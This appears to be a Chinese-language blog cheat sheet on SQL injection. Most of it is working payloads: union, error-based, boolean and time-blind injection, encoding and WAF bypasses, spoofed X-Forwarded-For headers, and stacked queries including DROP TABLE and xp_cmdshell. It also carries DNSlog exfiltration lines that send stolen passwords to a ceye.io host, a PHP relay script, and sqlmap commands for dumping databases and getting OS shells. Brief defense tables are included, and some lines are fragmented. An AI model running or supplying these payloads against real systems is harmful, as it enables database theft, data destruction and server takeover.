数据库注入特性全解析
一、各数据库注入特点对比
1. Access数据库
- 无报错信息显示
- 需要暴力猜解表名/列名
- 常用偏移注入绕过列名未知问题
原语句:select * from admin
偏移注入:select * from admin as a inner join admin as b on a.id = b.id
```sql
- 支持多语句执行(需配置)
- 常用information_schema库
- 5.7+版本移除sys库
select load_file('/etc/passwd')
3. MSSQL
- 支持多语句(默认开启)
- 常用WAITFOR DELAY做延时判断
- 权限划分严格
';WAITFOR DELAY '0:0:5'
4. MongoDB
db.users.find({ $where: "function(){ return this.username == 'admin' && sleep(5000) }" })
5. PostgreSQL
- 支持copy命令文件操作
- 常用字符串连接符||
AND 1=cast((select version()) as int)
(其他数据库特性因篇幅限制暂略,建议重点掌握前5种)
二、SQL操作类型与注入点
1. SELECT型注入
select * from news where id=$id
联合查询注入、报错注入等
2. INSERT型注入
用户注册、数据提交
insert into users values ('admin'||(select @@version))
3. DELETE型注入
delete from logs where id=$id
and 1=(if(ascii(substr(database(),1,1))>100,sleep(5),1))
4. UPDATE型注入
密码修改功能
' or updatexml(1,concat(0x7e,database()),1) or '
5. ORDER BY注入
- 无法直接联合查询
- 常用盲注手法
?order=(case when (select mid(user(),1,1)='r') then 1 else 2 end)
三、注入技术详解
1. 报错盲注
updatexml()、extractvalue()
' or updatexml(1,concat(0x7e,database(),0x7e),0) or '
2. 布尔盲注
mid()、ascii()、substr()
1. 判断数据库名长度:and length(database())=4
2. 逐字符猜解:and ascii(substr(database(),1,1))>100
3. 时间盲注
sleep()、benchmark()
?id=1' AND SLEEP(if(database()='security',0,10))--+
# 结构解析:
1. 判断条件:database()='security'
2. 条件成立执行sleep(0)→立即返回
3. 条件不成立执行sleep(10)→明显延迟
四、防御与绕过技巧
1. 常见过滤手段及防御案例
(1) 关键词过滤(select/union等)
if(preg_match('/union|select|insert/i', $_GET['id'])){
die("SQLi detected!");
}
SELecT 1,2,3 FROM admin
SELECT @@version
(2) 特殊符号过滤(单引号/注释符)
username = input().replace("'","").replace("#","")
' -> \u0027(Unicode编码)
(3) 类型强制转换(intval())
$id = intval($_GET['id']);
2. 高级绕过方法详解
(1) 编码绕过技术
GET /search.php?q=test%20UNI%4fN%20SEL%45CT%201 HTTP/1.1
-- 解码后:UNION SELECT 1
(2) 等价函数替换矩阵
| 原函数 | 替代方案 |
|---|
| mid() | substr(), right(), left() |
| ascii() | hex(), ord(), bin() |
| sleep() | benchmark(10000000,md5(1)) |
(3) 注释符混用技巧
SELECTFROMWHERE'1'1=1
3. 加解密注入实战
加密传输注入流程
[正常请求]
id=MQ== (base64加密的1)
[攻击流程]
1. 解密得到原始值:1
2. 构造payload:1' AND (SELECT 1 FROM (SELECT SLEEP(5))x)--
3. 重新base64加密:MScgQU5EIChTRUxFQ1QgMSBGUk9NIChTRUxFQ1QgU0xFRVAoNSkpIHgpLS0=
中转脚本示例(PHP)
<?php
$base_url = "http://target.com/product.php?id=";
$payload = base64_encode($_GET['x']);
$full_url = $base_url . $payload;
echo file_get_contents($full_url);
?>
-- 使用方式:http:
4. 二次注入白盒分析
漏洞代码示例
$username = mysqli_real_escape_string($conn, $_POST['username']);
$sql = "UPDATE users SET PASSWORD='$pass' WHERE username='$username'";
-- 攻击步骤:
1. 注册用户名为:admin'--
2. 修改密码时语句变为:
UPDATE users SET PASSWORD='hacked' WHERE username='admin'-- '
5. DNSlog带外注入
利用工具与payload
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.xxxxxx.ceye.io\\test'));
DECLARE @host varchar(1024);SET @host=(SELECT TOP 1 password FROM users)+'.xxxxxx.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
特征分析
成功请求日志:
2023-01-01 12:00:00 admin123.xxxxxx.ceye.io A记录查询
6. 堆叠注入场景
支持数据库列表
| 数据库 | 支持情况 | 示例payload |
|---|
| MySQL | 需配置 | ;UPDATE users SET is_admin=1 |
| PostgreSQL | 默认支持 | ;DROP TABLE logs– |
| SQL Server | 默认支持 | ;EXEC xp_cmdshell(‘calc’) |
7. WAF绕过全攻略
(1) HTTP协议层绕过
POST /api/search HTTP/1.1
Content-Type: application/json
{"query":"test' UNION SELECT 1,@@version,3--"}
-- 当WAF只检查GET参数时有效
(2) 特殊符号干扰
SELECT+1%a0FROM`users`WHERE+id=1%0bOR%a01=1
(3) IP白名单伪造
GET /admin/ HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1
X-Real-IP: 192.168.1.1
Client-IP: 10.10.10.10
(4) 静态资源绕过
GET /index.php/article/123.jpg?param=1' UNION SELECT 1,2,3-- HTTP/1.1
-- 当WAF规则只检查.php文件时有效
8. SQLMap高级参数
常用绕过参数组合
sqlmap -u "http://target.com" --tamper=charencode,space2comment --random-agent --delay 2 --proxy=http://127.0.0.1:8080
Tamper脚本开发示例
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def tamper(payload, **kwargs):
return payload.replace(" ", "/**/")
防御建议矩阵
| 攻击类型 | 防御方案 | 验证方法 |
|---|
| 二次注入 | 全生命周期统一过滤 | 白盒审计所有数据使用点 |
| DNSlog注入 | 禁用LOAD_FILE权限 | 定期检查数据库账户权限 |
| 堆叠注入 | 使用PDO的prepare语句 | 黑盒测试分号符提交 |
| WAF绕过 | 多层级过滤(应用层+WAF) | 定期更新WAF规则库 |
补充:SQLMap高级应用详解
9. SQLMap核心功能扩展
(1) 基础探测命令
sqlmap -u "http://target.com?id=1" --batch
sqlmap -u "http://target.com?id=1" --banner
sqlmap -u "http://target.com?id=1" --dbs
(2) 重要参数详解
| 参数 | 作用说明 | 典型应用场景 |
|---|
| –technique=B | 指定Boolean盲注 | 当时间盲注被拦截时使用 |
| –level=5 | 设置检测等级(1-5) | 需要检测Cookie注入时设为3 |
| –risk=3 | 设置风险等级(1-3) | 测试UPDATE语句时需设为3 |
| –proxy=“http://…” | 设置代理服务器 | 配合BurpSuite进行流量分析 |
| –tamper=charencode | 使用编码绕过脚本 | 应对WAF过滤规则 |
(3) 联合查询注入实战
sqlmap -u "http://target.com?id=1" --union-cols=1-10 --union-char=123
(4) 时间盲注检测
sqlmap -u "http://target.com?id=1" --time-sec=5 --technique=T
10. 中转注入场景应用
案例:Base64加密参数处理
sqlmap -u "http://target.com?id=1" --eval="import base64; id=base64.b64encode(id.encode())"
sqlmap -u "http://target.com?id=1" --tamper=base64encode.py
11. 带外注入利用
DNSlog注入检测
sqlmap -u "http://target.com?id=1" --dns-domain=xxxx.ceye.io
12. WAF绕过实战参数
综合绕过命令示例
sqlmap -u "http://target.com?id=1" \
--tamper=between,randomcase,space2comment \
--random-agent \
--delay=3 \
--flush-session \
--hex
13. 数据库专项操作
(1) MySQL数据库操作
sqlmap -u "http://target.com?id=1" --dump-all --exclude-sysdbs
sqlmap -u "http://target.com?id=1" --os-cmd="whoami" --priv-esc
(2) MSSQL数据库操作
sqlmap -u "http://target.com?id=1" --os-shell --os-pwn
14. 结果导出与报告
多种格式输出
sqlmap -u "http://target.com?id=1" --dump --output-dir=/reports --format=html
sqlmap -u "http://target.com?id=1" --dump -T users --dump-format=CSV
15. 常见问题解决方案
(1) 证书错误处理
sqlmap -u "https://target.com" --ignore-ssl-errors
(2) 302重定向处理
sqlmap -u "http://target.com" --follow-redirects
(3) 验证码绕过
sqlmap -u "http://target.com" --eval="captcha=ocr('captcha.jpg')"
16. 高级Tamper脚本开发
模板示例(空格替换)
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
headers["X-Forwarded-For"] = "127.0.0.1"
return payload
防御检测建议
| SQLMap特征 | 防御方案 | 检测方法 |
|---|
| 测试payload | 部署语义分析WAF | 监控连续错误参数请求 |
| tamper脚本 | 多维度输入过滤 | 分析异常编码模式 |
| 延时探测 | 限制请求响应时间差异 | 统计响应时间标准差 |
| 带外请求 | 限制DNS解析请求 | 监控非常规DNS查询记录 |
所有评论(0)